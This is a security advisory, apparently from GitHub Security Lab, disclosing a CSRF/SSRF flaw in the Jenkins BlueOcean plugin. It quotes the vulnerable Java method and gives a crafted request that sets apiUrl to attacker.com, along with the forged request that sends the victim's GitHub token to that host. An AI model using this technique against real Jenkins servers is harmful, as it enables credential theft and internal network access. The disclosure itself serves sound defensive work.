Coordinated Disclosure Timeline

Summary

A CSRF/SSRF vulnerability in jenkinsci/blueocean-plugin allows the leak of sensitive credentials (including GitHub credentials) to an attacker-controlled server. The issue arises from a lack of proper input validation/sanitization of the apiUrl parameter in the GithubScm#getRepository method. This vulnerability also enables Server-Side Request Forgery (SSRF) attacks allowing attackers to access the internal network and read responses from arbitrary hosts.

Product

BlueOcean

Tested Version

1.27.3

Details

Credentials Leak via CSRF/SSRF (GHSL-2023-061)

The io.jenkins.blueocean.blueocean_github_pipeline.GithubScm#getRepository method does not validate/sanitize the input from the apiUrl parameter, enabling attackers to forge crafted links that leverage the CSRF and SSRF vulnerabilities to leak arbitrary secret credentials. The impact of this vulnerability includes:

Affected source code: GithubScm.java

    @GET
    @WebMethod(name = "repository")
    @TreeResponse
    public GithubRepository getRepository(@QueryParameter String jobName, @QueryParameter String apiUrl) {
        Item item = Jenkins.get().getItem( jobName);
        if (item == null){
            throw new ServiceException.NotFoundException(String.format("Job %s not found", jobName));
        }
        GitHubSCMSource gitHubSCMSource = ((GitHubSCMSource)((WorkflowMultiBranchProject)item).getSCMSource( "blueocean"));
        if(gitHubSCMSource==null){
            throw new ServiceException.NotFoundException(String.format("GitHubSCMSource for Job %s not found", jobName));
        }
        String repoOwner = gitHubSCMSource.getRepoOwner();
        String repoName = gitHubSCMSource.getRepository();

        StandardUsernamePasswordCredentials credential = getCredential();
        String accessToken = credential.getPassword().getPlainText();

        try {
            String url = String.format("%s/repos/%s/%s", apiUrl, repoOwner, repoName);
            GHRepository ghRepository = HttpRequest.get(url).withAuthorizationToken(accessToken).to(GHRepository.class);
            return new GithubRepository(ghRepository, credential, this);
        } catch (IOException e) {
            throw new ServiceException.UnexpectedErrorException(e.getMessage(),e);
        }
    }

For the vulnerability to be exploited, a BlueOcean pipeline must exist using GitHub as the SCM.

In order to exploit the vulnerability, the attacker needs to send a crafted link to the victim. When the victim visits the link, their browser sends a request as follows:

GET /jenkins/blue/rest/organizations/jenkins/scm/github/repository?jobName=test-project&apiUrl=https://attacker.com/%23 HTTP/1.1
Host: localhost:8080
.Cookie: JSESSIONID.d5fee044=node0cv21h3pnx5dd194peulgl247v1.node0; jenkins-timestamper-offset=-7200000; screenResolution=3840x1600
Connection: close

This request triggers a forged request on the victim’s behalf, leaking their GitHub credentials to the attacker-controlled server:

GET / HTTP/1.1
Authorization: token ghp_********************************
Accept-Encoding: gzip
Content-type: application/json; charset=utf-8
User-Agent: Java/11.0.16.1
Host: attacker.com
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Connection: keep-alive

The response to the original request will include the forged request’s response as part of the error message.

This vulnerability was found using CodeQL’s SSRF Java query.

Impact

This vulnerability can lead to unauthorized access to sensitive information like GitHub credentials, and allows attackers to send requests to arbitrary hosts/paths within internal networks, reading their responses.

Resources

CVE

Resources

Credit

This issue was discovered and reported by GHSL team member @pwntester (Alvaro Muñoz).

Contact

You can contact the GHSL team at securitylab@github.com, please include a reference to GHSL-2023-061 in any communication regarding this issue.